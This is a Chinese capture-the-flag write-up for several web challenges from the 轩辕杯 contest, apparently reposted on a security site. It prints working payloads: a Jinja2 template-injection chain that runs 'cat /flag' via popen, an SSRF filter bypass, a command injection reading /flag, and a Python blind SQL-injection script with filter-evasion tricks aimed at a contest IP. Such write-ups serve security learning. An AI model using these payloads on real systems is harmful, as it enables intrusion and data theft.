轩辕杯-web WriteUp

admin 2025年5月24日05:11:52轩辕杯-web WriteUp已关闭评论5 views字数 1916阅读6分23秒阅读模式
轩辕杯-web WriteUp

轩辕杯

ezflask

过滤 用中括号代替 构造payload.

?name={{''["__class__"]["__base__"]["__subclasses__"]()[133]["__init__"]["__globals__"][request["args"]["a"]](request["args"]["b"])['read']()}}&a=popen&b=cat /flag
轩辕杯-web WriteUp

ezJSEZJS

看源码直接发包

if (scoreNow === 100000000000) {        fetch('getflag.php', {method'POST',headers: {'Content-Type''application/x-www-form-urlencoded',            },body'score=' + scoreNow        })        .then(response => response.text())        .then(data => {            alert("恭喜你!flag是:" + data);        })        .catch(error => {console.error('错误:', error);        });    }})
轩辕杯-web WriteUp

ezssrf

考点在于满足下式

$x['host'] === null && $x['scheme'] === 'http'

paylaod:

?url=http:/127.0.0.1/flag
轩辕杯-web WriteUp

访问

轩辕杯-web WriteUp

签到

写一下关键过程

轩辕杯-web WriteUp
轩辕杯-web WriteUp

payload

?cmd=nl+%2Fflag%3f

ezRCE

readgzfile

轩辕杯-web WriteUp

ezSQL

过滤空格+select

内联注释+双写

得到flag后base64解码

exp:

import requestsimport time#http://27.25.151.26:4925/?id=1/**/and/**/(if(ascii(substr((seselectlect/**/group_concat(schema_name)/**/from/**/information_schema.schemata),1,1))>32,1,0))url="http://27.25.151.26:4925/"flag=""# select="select/**/version()"#10.5.28-MariaDB-0+deb11u2select="seselectlect/**/group_concat(schema_name)/**/from/**/information_schema.schemata"#information_schema,performamce_schema,mysql,ctf,xuanyuanCTFselect="seselectlect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='xuanyuanCTF'"#xuyuanCTF infoselect="seselectlect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=%27xuanyuanCTF%27/**/and/**/table_name='info'"#xuyuanCTF id,title,contentselect="seselectlect/**/group_concat(id,title,content)/**/from/**/xuanyuanCTF.info"#1F1AG ZmxhZ3vmrILov47mnaXli7DovanovpXmna99#flag{欢迎来到轩辕杯}for i in range(1,100):# if i<=25:#  continue left=32 right=127 mid=(left+right)//2while left<right:  poc1=f"?id=1/**/and/**/(if(ascii(substr(({select}),{i},1))>{mid},1,0))"  payload=poc1  time.sleep(1)  r=requests.get(url+payload)if"admin"in r.text:   left=mid+1else:   right=mid  mid=(left+right)//2 flag+=chr(mid) print(flag)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月24日05:11:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   轩辕杯-web WriteUphttps://cn-sec.com/archives/4093258.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.